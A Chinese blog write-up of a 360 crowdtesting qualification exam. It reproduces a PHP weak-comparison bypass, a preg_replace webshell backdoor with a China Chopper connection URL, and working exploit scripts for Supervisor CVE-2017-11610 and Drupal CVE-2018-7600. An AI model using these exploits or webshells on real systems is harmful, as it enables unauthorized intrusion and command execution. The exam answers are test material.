记4月5日360众测考核

记4月5日360众测考核

群里的老哥们都说是墨者学院的题,而且拿到的key也有mozhe字样,所以想顺利通过可以看看墨者学院的题

注意是理论+实践共三小时,key一般在根目录下的key.txt或者key***.php中

还有就是全程必须挂着VPN,否则没分,实践部分总分600分就能通过(我当时是,现在好像降低标准了)

——Linuz

一、php弱类型

下载下来一个login.tar文件,解压后是login.php的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
$a1 = md5('QNKCDZO');
$a = @$_POST['pass'];
$a2 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $a1 == $a2) {
/**
内容省略!
**/
exit();
} else {
echo '<script>alert(\'认证错误\');window.location.href=\'/index.html\';</script>';
}}
?>

CTF中很常见,php弱比较,比如输入一个s878926199a即可绕过

二、数据库漏洞

打开靶机后发现是tcp协议,映射的原端口是873,说明是rsync服务

三、网站后门

题目提示网站被黑了,被黑客上传并篡改了一些文件。

可以下载网站源码,下载下来用D盾扫了一下就找到了后门的位置。

1
2
3
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

菜刀链接构造方法:

1
2
3
http://xx.xx.xx.xx:xxxxx/www/fields/class-wp-rest-comment-meta-style.php?e=preg_replace

//连接密码pass

四、Supervisor远程命令执行漏洞(CVE-2017-11610)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import xmlrpc.client
import sys


target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
old = getattr(proxy, 'supervisor.readLog')(0,0)

logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
result = getattr(proxy, 'supervisor.readLog')(0,0)

print(result[len(old):])

使用方法

1
python3 poc.py "http://your-ip:9001/RPC2" "command"

出处:

https://blog.51cto.com/eth10/1955450

五、CVE-2018-7600

https://github.com/a2u/CVE-2018-7600

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
import sys
import requests

print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')

target = input('Enter target url (example: https://domain.ltd/): ')

# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
#
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo `cat /key.txt` | tee hello.txt'}

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt', proxies=proxies, verify=verify)
if check.status_code != 200:
sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')

以上是修改后的exp,利用完以后访问hello.txt即可拿到key。

六、数据分析(一)

很简单,但是分值却很高

如果下载下来数据包名为20.pcapng即可用此方法

根据提示说黑客利用一句话木马在数据库中添加了一个身份证号

这里用了一个笨方法,先是搜了一下字符串,得到了一个名为xiaoma.php的文件

总共xiaoma.php这个文件也没调用几次,跟踪一下HTTP流得到一些信息

解密后发现执行了数据库操作,然后找了几次找到了添加身份证号的SQL语句

七、数据分析(二)

巨简单。。。如果下载下来数据包名为21.pcapng即可用此方法

题目提示黑客上传了一句话木马,需要找到黑客的IP地址

思路就是过滤一下POST请求,找到upload一类的字眼即可

题目资源已上传百度云:

链接:https://pan.baidu.com/s/1xeTG3gqstznjeU0bXTdS0Q
提取码:sod3

最终以62.8的超低分幸运的通过了考核,不得不感叹自己真是太菜了。

文章作者: Linuz
文章链接: https://linuz.me/2020/04/05/360-zhongce/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Linuz's Blog
敢不敢赏脸一次